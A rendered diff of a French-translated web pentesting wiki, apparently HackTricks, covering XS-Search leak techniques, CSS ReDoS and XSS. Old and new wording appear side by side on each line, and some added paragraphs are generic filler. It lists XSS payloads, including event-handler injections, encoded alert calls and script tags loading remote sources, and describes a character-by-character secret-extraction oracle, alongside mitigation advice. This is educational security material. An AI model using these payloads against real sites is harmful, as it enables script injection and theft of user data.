Ce texte permettra au bot d'accéder à n'importe quel texte de la page contenant le texte `SECR`. Comme ce texte est le secret et qu'il se trouve juste **sous l'image**, l'image ne se chargera que si le secret deviné est correct. Ainsi, vous avez votre oracle pour **extraire le secret caractère par caractère**. Ce texte permettra au bot d'accéder à n'importe quel texte de la page contenant le texte `SECR`. Comme ce texte est le secret et qu'il se trouve juste **sous l'image**, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour **extraire le secret caractère par caractère**.
Voici un exemple de code pour exploiter cela : [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) Voici un exemple de code pour exploiter cela : [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Trouvez **un autre exemple utilisant le chargement différé** ici : ### Chargement différé de l'image basé sur le temps
S'il n'est pas possible de charger une image externe qui pourrait indiquer à l'attaquant que l'image a été chargée, une autre option serait d'essayer de **deviner le caractère plusieurs fois et de mesurer cela**. Si l'image est chargée, toutes les requêtes prendront plus de temps que si l'image n'est pas chargée. C'est ce qui a été utilisé dans la [**solution de cette explication**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **résumée ici :**
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} {% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md) [event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
@ -915,7 +922,7 @@ Trouvez **un autre exemple utilisant le chargement différé** ici :
### CSS ReDoS ### CSS ReDoS
Si `jQuery(location.hash)` est utilisé, il est possible de déterminer via le timing **si un contenu HTML existe**, cela est dû au fait que si le sélecteur `main[id='site-main']` ne correspond pas, il n'est pas nécessaire de vérifier le reste des **sélecteurs** : Si `jQuery(location.hash)` est utilisé, il est possible de déterminer, par le biais du timing, **si un contenu HTML existe**, cela est dû au fait que si le sélecteur `main[id='site-main']` ne correspond pas, il n'est pas nécessaire de vérifier le reste des **sélecteurs** :
```javascript ```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']") $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
``` ```
@ -927,7 +934,7 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
## Défenses ## Défenses
Dans cette section, vous pouvez trouver une partie des atténuations recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), cependant, il existe d'autres atténuations dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez ces ressources pour obtenir plus d'informations sur la façon de se protéger contre ces techniques. Dans cette section, vous trouverez une partie des atténuations recommandées dans [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), cependant, il existe d'autres atténuations dans chaque section du wiki [https://xsleaks.dev/](https://xsleaks.dev/). Consultez ces ressources pour obtenir plus d'informations sur la façon de se protéger contre ces techniques.
### Atténuations des méthodes d'inclusion ### Atténuations des méthodes d'inclusion
@ -946,7 +953,7 @@ Méthodes plus génériques :
### Atténuations des techniques de fuite ### Atténuations des techniques de fuite
* **Gestionnaire d'événements**. L'atténuation la plus efficace pour cette technique de fuite serait de **les refuser toutes**, mais cela compromettrait la majorité des applications Web sur Internet. Nous proposons donc de **réduire le nombre d'informations nécessaires qui peuvent être recueillies dans les événements**. Par exemple, l'événement de violation de la CSP ne doit pas contenir l'URL de redirection cible dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - seul SA reste vulnérable. * **Gestionnaire d'événements**. L'**atténuation la plus efficace** pour cette technique de fuite serait de **les refuser toutes**, mais cela compromettrait la majorité des applications Web sur Internet. Nous proposons donc de **réduire le nombre d'informations nécessaires qui peuvent être recueillies dans les événements**. Par exemple, l'événement de violation de la CSP ne doit pas contenir l'URL de redirection cible dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - seul SA reste vulnérable.
* **Messages d'erreur**. Pour atténuer les XS-Leaks basées sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, **les messages d'erreur ne doivent pas contenir d'informations détaillées**, de la même manière que les messages des gestionnaires d'événements. Deuxièmement, les navigateurs doivent **minimiser les occurrences de messages d'erreur**. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est lancé ou non. * **Messages d'erreur**. Pour atténuer les XS-Leaks basées sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, **les messages d'erreur ne doivent pas contenir d'informations détaillées**, de la même manière que les messages des gestionnaires d'événements. Deuxièmement, les navigateurs doivent **minimiser les occurrences de messages d'erreur**. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est lancé ou non.
* **Limites globales**. La correction des techniques de fuite qui exploitent les limites globales est relativement complexe car elles reposent sur des restrictions physiques. La recommandation générale est donc de **restreindre les limites globales sur une petite base par site**. Si la limite globale est de 1, comme pour l'API de paiement, l'attaquant peut tenter silencieusement d'activer l'interface utilisateur de paiement Web à tout moment, ce qui réussit uniquement si l'interface utilisateur n'est pas utilisée simultanément par un autre onglet. Nous recommandons d'accéder à l'API de paiement uniquement lorsqu'un événement de confiance a été utilisé. Ainsi, la limite globale est fixée à zéro sauf si l'utilisateur donne son consentement, par exemple en cliquant avec le bouton gauche de la souris sur une fenêtre de dialogue, ce qui fixe la limite globale à un. * **Limites globales**. La correction des techniques de fuite qui exploitent les limites globales est relativement complexe car elles reposent sur des restrictions physiques. La recommandation générale est donc de **restreindre les limites globales sur une petite base par site**. Si la limite globale est de 1, comme pour l'API de paiement, l'attaquant peut tenter silencieusement d'activer l'interface utilisateur de paiement Web à tout moment, ce qui réussit uniquement si l'interface utilisateur n'est pas utilisée simultanément par un autre onglet. Nous recommandons d'accéder à l'API de paiement uniquement lorsqu'un événement de confiance a été utilisé. Ainsi, la limite globale est fixée à zéro sauf si l'utilisateur donne son consentement, par exemple en cliquant avec le bouton gauche de la souris sur une fenêtre de dialogue, ce qui fixe la limite globale à un.
* **État global**. Toute **propriété de l'état global d'un navigateur ne doit pas être accessible**. Par exemple, FF est le seul navigateur qui met à jour l'historique de l'état global lorsqu'une redirection se produit, ce qui entraîne la lecture de history.length. Les navigateurs devraient créer une nouvelle propriété d'historique lorsqu'une redirection se produit au lieu de la stocker globalement. D'autres exemples sont les ressources partagées, telles que les caches. Les fuites de cache exploitent le cache partagé utilisé pour tous les sites ouverts dans un navigateur. Pour atténuer complètement les techniques de fuite de cache, le cache HTTP doit être partitionné sur une base par site, comme cela est mis en œuvre par SA, GC et FF. Notez que dans SA, les iframes ne sont pas affectés par la partition du cache. * **État global**. Toute **propriété de l'état global d'un navigateur ne doit pas être accessible**. Par exemple, FF est le seul navigateur qui met à jour l'historique de l'état global lorsqu'une redirection se produit, ce qui entraîne la lecture de history.length. Les navigateurs devraient créer une nouvelle propriété d'historique lorsqu'une redirection se produit au lieu de la stocker globalement. D'autres exemples sont les ressources partagées, telles que les caches. Les fuites de cache exploitent le cache partagé utilisé pour tous les sites ouverts dans un navigateur. Pour atténuer complètement les techniques de fuite de cache, le cache HTTP doit être partitionné sur une base par site, comme cela est mis en œuvre par SA, GC et FF. Notez que dans SA, les iframes ne sont pas affectés par la partition du cache.

265
pentesting-web/xss-cross-site-scripting/README.md
View file

@ -137,13 +137,13 @@ Une bonne façon de savoir si quelque chose donné directement par l'utilisateur
![](<../../.gitbook/assets/image (651) (2).png>) ![](<../../.gitbook/assets/image (651) (2).png>)
Dans le cas où c'est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**). Dans le cas où cela est vulnérable, vous pourriez être en mesure de **déclencher une alerte** en envoyant simplement la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces points d'extrémité **valident le contenu** pour n'autoriser que des lettres, des chiffres, des points et des traits de soulignement (**`[\w\._]`**).
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément dans le DOM** : Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est possible car vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
![](<../../.gitbook/assets/image (662).png>) ![](<../../.gitbook/assets/image (662).png>)
Quelques fonctions utiles pour cela : Certaines fonctions utiles pour cela :
``` ```
firstElementChild firstElementChild
lastElementChild lastElementChild
@ -188,7 +188,7 @@ Quelques **exemples** :
## Injection à l'intérieur du HTML brut ## Injection à l'intérieur du HTML brut
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez utiliser `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\ Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas, vous pourrez exploiter ce cas**.\
Pour ces cas, gardez également à l'esprit [**l'injection de modèle côté client**](../client-side-template-injection-csti.md)**.**\ Pour ces cas, gardez également à l'esprit [**l'injection de modèle côté client**](../client-side-template-injection-csti.md)**.**\
_**Note : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_ _**Note : Un commentaire HTML peut être fermé en utilisant**** ****`-->`**** ****ou**** ****`--!>`**_
@ -274,7 +274,7 @@ onerror=alert`1`
<script src=//aa.es> <script src=//aa.es>
<script src=//℡㏛.pw> <script src=//℡㏛.pw>
``` ```
Le dernier utilise 2 caractères unicode qui se développent en 5 : telsr\ Le dernier utilise 2 caractères Unicode qui se développent en 5 : telsr\
Vous pouvez trouver plus de ces caractères [ici](https://www.unicode.org/charts/normalization/).\ Vous pouvez trouver plus de ces caractères [ici](https://www.unicode.org/charts/normalization/).\
Pour vérifier dans quels caractères sont décomposés, consultez [ici](https://www.compart.com/en/unicode/U+2121). Pour vérifier dans quels caractères sont décomposés, consultez [ici](https://www.compart.com/en/unicode/U+2121).
@ -290,8 +290,8 @@ Si vous pensez simplement qu'il est impossible de créer une balise HTML avec un
### À l'intérieur de la balise/échappement de la valeur de l'attribut ### À l'intérieur de la balise/échappement de la valeur de l'attribut
Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pouvez essayer est de vous échapper de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\ Si vous êtes à l'intérieur d'une balise HTML, la première chose que vous pourriez essayer est de vous échapper de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est directement reflétée à l'intérieur de la balise_): Si vous ne pouvez pas vous échapper de la balise, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour échapper à l'attribut, vous n'en aurez pas besoin si votre entrée est directement reflétée à l'intérieur de la balise_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -302,9 +302,9 @@ Les événements de style sont une technique couramment utilisée dans les attaq
L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la redirection vers des sites malveillants ou la modification du contenu de la page. L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la redirection vers des sites malveillants ou la modification du contenu de la page.
Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés, et l'utilisation de bibliothèques de sécurité telles que Content Security Policy (CSP) pour restreindre les sources de scripts autorisées. Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement appropriés des entrées utilisateur, l'utilisation de bibliothèques de sécurité pour le rendu des données et la configuration correcte des en-têtes de sécurité HTTP.
Il est essentiel de comprendre les techniques d'attaque XSS par événements de style afin de pouvoir les détecter et les prévenir lors de l'évaluation de la sécurité d'un site web. Les tests de pénétration et les audits de sécurité réguliers sont recommandés pour identifier et corriger les vulnérabilités XSS potentielles. Les testeurs d'intrusion peuvent utiliser cette technique pour évaluer la sécurité d'un site web et aider les développeurs à identifier et à corriger les vulnérabilités XSS potentielles. En identifiant et en exploitant ces vulnérabilités, les testeurs d'intrusion peuvent aider à renforcer la sécurité du site web et à prévenir les attaques XSS.
```python ```python
<p style="animation: x;" onanimationstart="alert()">XSS</p> <p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p> <p style="animation: x;" onanimationend="alert()">XSS</p>
@ -316,7 +316,7 @@ Il est essentiel de comprendre les techniques d'attaque XSS par événements de
``` ```
### Dans l'attribut ### Dans l'attribut
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez exécuter du code arbitraire lorsqu'il est cliqué.\ Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement tel que `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`** Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
**Contourner l'événement en utilisant l'encodage HTML/l'encodage d'URL** **Contourner l'événement en utilisant l'encodage HTML/l'encodage d'URL**
@ -354,19 +354,19 @@ This technique involves bypassing client-side input validation by using Unicode
### Vulnerability ### Vulnerability
Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is directly included in the output of a web application. This allows an attacker to inject malicious code that will be executed by the victim's browser. Cross-Site Scripting (XSS) vulnerabilities occur when user input is not properly sanitized and is rendered on a web page without proper encoding. This allows an attacker to inject malicious code that will be executed by the victim's browser.
### Exploitation ### Exploitation
1. Identify a vulnerable input field or parameter in the web application. 1. Identify a vulnerable input field where the application does not properly sanitize user input.
2. Craft a payload using Unicode encoding to bypass any input filters or sanitization mechanisms. 2. Craft a payload using Unicode encoding to bypass any filters or input validation mechanisms.
3. Inject the payload into the vulnerable input field or parameter. 3. Inject the payload into the vulnerable input field.
4. Trigger the execution of the payload by submitting the form or interacting with the affected element. 4. Submit the form or trigger the event that will render the injected payload on the web page.
5. The injected code will be executed by the victim's browser, allowing the attacker to perform various actions, such as stealing sensitive information or performing unauthorized actions on behalf of the victim. 5. The payload will be executed by the victim's browser, allowing the attacker to perform various actions such as stealing sensitive information or performing unauthorized actions on behalf of the victim.
### Prevention ### Prevention
To prevent this type of attack, it is important to implement proper input validation and output encoding. Input validation should be performed on both the client and server sides to ensure that user input is properly sanitized. Output encoding should be used when displaying user-generated content to prevent any potential script execution. To prevent this type of attack, it is important to properly sanitize and validate all user input before rendering it on a web page. This can be done by implementing input validation mechanisms and using output encoding techniques to ensure that user input is properly encoded.
--- ---
@ -380,19 +380,19 @@ Cette technique consiste à contourner la validation des entrées côté client
### Vulnérabilité ### Vulnérabilité
Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement désinfectées et sont directement incluses dans la sortie d'une application web. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime. Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement nettoyées et sont affichées sur une page web sans un encodage approprié. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
### Exploitation ### Exploitation
1. Identifier un champ ou un paramètre d'entrée vulnérable dans l'application web. 1. Identifier un champ d'entrée vulnérable où l'application ne nettoie pas correctement les entrées utilisateur.
2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de désinfection des entrées. 2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de validation des entrées.
3. Injecter la charge utile dans le champ ou le paramètre d'entrée vulnérable. 3. Injecter la charge utile dans le champ d'entrée vulnérable.
4. Déclencher l'exécution de la charge utile en soumettant le formulaire ou en interagissant avec l'élément affecté. 4. Soumettre le formulaire ou déclencher l'événement qui affichera la charge utile injectée sur la page web.
5. Le code injecté sera exécuté par le navigateur de la victime, permettant à l'attaquant d'effectuer diverses actions, telles que le vol d'informations sensibles ou l'exécution d'actions non autorisées au nom de la victime. 5. La charge utile sera exécutée par le navigateur de la victime, permettant à l'attaquant d'effectuer diverses actions telles que le vol d'informations sensibles ou l'exécution d'actions non autorisées au nom de la victime.
### Prévention ### Prévention
Pour prévenir ce type d'attaque, il est important de mettre en place une validation appropriée des entrées et un encodage de sortie. La validation des entrées doit être effectuée à la fois côté client et côté serveur pour garantir une désinfection correcte des entrées utilisateur. L'encodage de sortie doit être utilisé lors de l'affichage de contenu généré par l'utilisateur pour éviter toute exécution de script potentiel. Pour prévenir ce type d'attaque, il est important de nettoyer et de valider correctement toutes les entrées utilisateur avant de les afficher sur une page web. Cela peut être fait en mettant en place des mécanismes de validation des entrées et en utilisant des techniques d'encodage de sortie pour s'assurer que les entrées utilisateur sont correctement encodées.
```javascript ```javascript
//For some reason you can use unicode to encode "alert" but not "(1)" //For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -444,11 +444,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**Autres astuces d'obfuscation** **Autres astuces d'obfuscation**
_**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous êtes à l'intérieur d'un attribut.**_ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous vous trouvez à l'intérieur d'un attribut.**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe**, et que vous constatez qu'elle est **encodée en URL**, rappelez-vous que **cela n'a pas d'importance**, elle sera **interprétée** comme une **apostrophe** lors de l'**exécution**. De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous avez besoin de **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous constatez qu'elle est **encodée en URL**, rappelez-vous que **cela n'a pas d'importance**, elle sera **interprétée** comme une **apostrophe** lors de l'**exécution**.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
@ -478,7 +478,7 @@ In a typical scenario, the attacker crafts a malicious website and tricks the us
The goal of reverse tab nabbing is to deceive the user into entering sensitive information, such as login credentials or financial details, into the malicious website, thinking they are interacting with the trusted website. This information is then captured by the attacker and can be used for malicious purposes. The goal of reverse tab nabbing is to deceive the user into entering sensitive information, such as login credentials or financial details, into the malicious website, thinking they are interacting with the trusted website. This information is then captured by the attacker and can be used for malicious purposes.
To protect against reverse tab nabbing, users should be cautious when opening new tabs and ensure they only visit trusted websites. Web developers should also implement security measures, such as input validation and output encoding, to prevent XSS attacks and protect their users from this type of attack. To protect against reverse tab nabbing, users should be cautious when opening new tabs and ensure they only visit trusted websites. Web developers should also implement security measures, such as validating user input and sanitizing data, to prevent XSS attacks and protect their users' information.
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
@ -605,15 +605,13 @@ loop``````````````
L'exécution de code encodé est une technique couramment utilisée dans les attaques de type Cross-Site Scripting (XSS). Elle consiste à encoder le code malveillant de manière à contourner les filtres de sécurité et à exécuter du code sur le navigateur de la victime. L'exécution de code encodé est une technique couramment utilisée dans les attaques de type Cross-Site Scripting (XSS). Elle consiste à encoder le code malveillant de manière à contourner les filtres de sécurité et à exécuter du code sur le navigateur de la victime.
L'objectif principal de cette technique est de tromper les filtres de sécurité qui analysent le contenu des requêtes et des réponses HTTP. En encodant le code malveillant, il devient plus difficile pour les filtres de détecter et de bloquer le code dangereux. L'encodage du code peut être réalisé de différentes manières, telles que l'encodage HTML, l'encodage URL ou l'encodage JavaScript. L'objectif est de masquer le code malveillant afin qu'il ne soit pas détecté par les mécanismes de sécurité en place.
Il existe plusieurs méthodes d'encodage couramment utilisées, telles que l'encodage HTML, l'encodage URL, l'encodage JavaScript, etc. Chaque méthode a ses propres caractéristiques et est utilisée en fonction du contexte de l'attaque. Une fois que le code encodé est injecté dans une page web, il est décodé et exécuté par le navigateur de la victime. Cela permet à l'attaquant d'exécuter des actions malveillantes, telles que voler des informations sensibles, rediriger l'utilisateur vers des sites frauduleux ou même prendre le contrôle complet du navigateur.
Lors de l'exploitation de cette technique, l'attaquant insère du code malveillant encodé dans une application Web vulnérable. Lorsque la victime accède à la page contenant le code encodé, le navigateur interprète le code et l'exécute, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la prise de contrôle de session, etc. Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des filtres de sécurité appropriés qui détectent et bloquent les tentatives d'injection de code malveillant. Il est également recommandé de valider et de filtrer toutes les entrées utilisateur afin de prévenir les attaques XSS.
Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des mécanismes de sécurité appropriés, tels que la validation et l'échappement des entrées utilisateur, la mise en œuvre de listes blanches pour les caractères autorisés, l'utilisation de bibliothèques de sécurité pour le rendu des données, etc. En résumé, l'exécution de code encodé est une technique d'attaque XSS qui permet à un attaquant d'injecter et d'exécuter du code malveillant sur le navigateur d'une victime en utilisant des techniques d'encodage pour contourner les filtres de sécurité. La mise en place de mesures de sécurité appropriées est essentielle pour se protéger contre cette menace.
Il est également recommandé de sensibiliser les développeurs et les utilisateurs aux risques liés aux attaques XSS et de mettre en place des pratiques de développement sécurisées pour réduire les vulnérabilités potentielles.
```markup ```markup
<script>\u0061lert(1)</script> <script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar; <svg><script>alert&lpar;'1'&rpar;
@ -634,7 +632,7 @@ Lorsqu'une application web ne traite pas correctement les caractères Unicode, i
#### Comment l'exploiter #### Comment l'exploiter
Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'injection de code JavaScript sur l'application web cible. Ces points peuvent être des champs de saisie, des paramètres d'URL ou d'autres zones où l'application accepte des entrées de l'utilisateur. Pour exploiter cette vulnérabilité, l'attaquant doit identifier les points d'injection de code JavaScript sur l'application web cible. Ces points peuvent être des champs de formulaire, des paramètres d'URL ou d'autres zones de saisie de données.
Une fois que l'attaquant a identifié un point d'injection, il peut utiliser des séquences de caractères Unicode spécifiques pour encoder le code JavaScript malveillant. Par exemple, l'attaquant peut utiliser l'encodage Unicode pour contourner les filtres de sécurité qui bloquent les balises `<script>`. Une fois que l'attaquant a identifié un point d'injection, il peut utiliser des séquences de caractères Unicode spécifiques pour encoder le code JavaScript malveillant. Par exemple, l'attaquant peut utiliser l'encodage Unicode pour contourner les filtres de sécurité qui bloquent les balises `<script>`.
@ -647,20 +645,20 @@ Voici un exemple d'encodage Unicode pour exécuter une alerte JavaScript :
</script> </script>
``` ```
Dans cet exemple, le code JavaScript `<script>alert('XSS')</script>` est encodé en utilisant l'encodage Unicode. Lorsque le navigateur interprète cette séquence de caractères, il exécute le code JavaScript et affiche une alerte avec le message "XSS". Dans cet exemple, le code JavaScript `<script>alert('XSS')</script>` est encodé en utilisant l'encodage Unicode. Lorsque le navigateur interprète le code, il exécute l'alerte JavaScript, affichant ainsi la chaîne "XSS".
--- ---
#### Comment se protéger #### Comment se protéger
Pour se protéger contre les attaques d'encodage Unicode, il est essentiel de mettre en place des mécanismes de validation et de filtrage appropriés pour toutes les entrées utilisateur. Voici quelques bonnes pratiques à suivre : Pour se protéger contre les attaques d'encodage Unicode, il est essentiel de mettre en place des mécanismes de validation et de filtrage appropriés pour tous les points d'injection de code JavaScript. Voici quelques bonnes pratiques à suivre :
- Utilisez des bibliothèques de sécurité qui fournissent des fonctions d'échappement pour les caractères spéciaux. - Utilisez des bibliothèques de sécurité telles que OWASP Java Encoder ou PHP htmlentities pour encoder correctement les caractères spéciaux.
- Validez et filtrez toutes les entrées utilisateur pour détecter et bloquer les séquences de caractères Unicode malveillantes. - Validez et filtrez toutes les entrées utilisateur pour détecter et bloquer les séquences de caractères Unicode malveillantes.
- Mettez en œuvre une politique de sécurité qui limite l'utilisation de certaines balises ou caractères spéciaux dans les entrées utilisateur. - Mettez en place des listes blanches pour autoriser uniquement les caractères Unicode nécessaires dans les entrées utilisateur.
- Effectuez régulièrement des tests de sécurité, y compris des tests de pénétration, pour identifier et corriger les vulnérabilités potentielles. - Effectuez régulièrement des tests de sécurité et des audits de code pour identifier et corriger les vulnérabilités potentielles.
En suivant ces bonnes pratiques, vous pouvez réduire considérablement le risque d'exploitation des vulnérabilités d'encodage Unicode et renforcer la sécurité de votre application web. En suivant ces bonnes pratiques, vous pouvez renforcer la sécurité de votre application web et réduire les risques d'exploitation des vulnérabilités d'encodage Unicode.
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
\u0061lert(1) \u0061lert(1)
@ -701,25 +699,20 @@ eval(8680439..toString(30))(983801..toString(36))
``` ```
**Substitutions d'espaces à l'intérieur du code JS** **Substitutions d'espaces à l'intérieur du code JS**
Lors de l'exploitation de vulnérabilités de type Cross-Site Scripting (XSS), il est parfois nécessaire de contourner les filtres de sécurité qui bloquent les caractères spéciaux. Une technique couramment utilisée consiste à effectuer des substitutions d'espaces dans le code JavaScript afin de tromper les filtres et d'exécuter du code malveillant. Lorsque vous effectuez des tests d'intrusion pour détecter les vulnérabilités XSS (Cross-Site Scripting), il est important de comprendre les différentes techniques utilisées pour contourner les filtres de sécurité. L'une de ces techniques consiste à utiliser des substitutions d'espaces à l'intérieur du code JavaScript.
Les filtres de sécurité peuvent être configurés pour bloquer les caractères spéciaux tels que les chevrons (< et >), les guillemets (", '), les parenthèses ((), []), etc. Cependant, ils peuvent ne pas être configurés pour bloquer les espaces. En exploitant cette faiblesse, il est possible d'insérer du code JavaScript malveillant en utilisant des substitutions d'espaces. Lorsqu'un attaquant tente d'injecter du code malveillant dans une application web, les filtres de sécurité peuvent détecter et bloquer certains caractères spéciaux, tels que les chevrons (< et >) ou les guillemets (' et "). Cependant, en utilisant des substitutions d'espaces, il est possible de contourner ces filtres et d'exécuter du code JavaScript malveillant.
Voici quelques exemples de substitutions d'espaces couramment utilisées : La technique des substitutions d'espaces consiste à remplacer les caractères spéciaux par des équivalents en utilisant des codes de caractères Unicode ou des entités HTML. Par exemple, le caractère < peut être remplacé par \u003c ou &#x3c; et le caractère " peut être remplacé par \u0022 ou &#x22;.
- `&#x20;` : représente un espace en notation HTML hexadécimale. Lorsque le code JavaScript est interprété par le navigateur, ces substitutions d'espaces sont converties en caractères spéciaux, permettant ainsi à l'attaquant d'exécuter du code malveillant. Par exemple, si le code malveillant est injecté dans une balise script, il sera exécuté lorsque la page web sera chargée par le navigateur.
- `&#32;` : représente un espace en notation décimale HTML.
- `%20` : représente un espace en notation URL encodée.
- `\u0020` : représente un espace en notation Unicode.
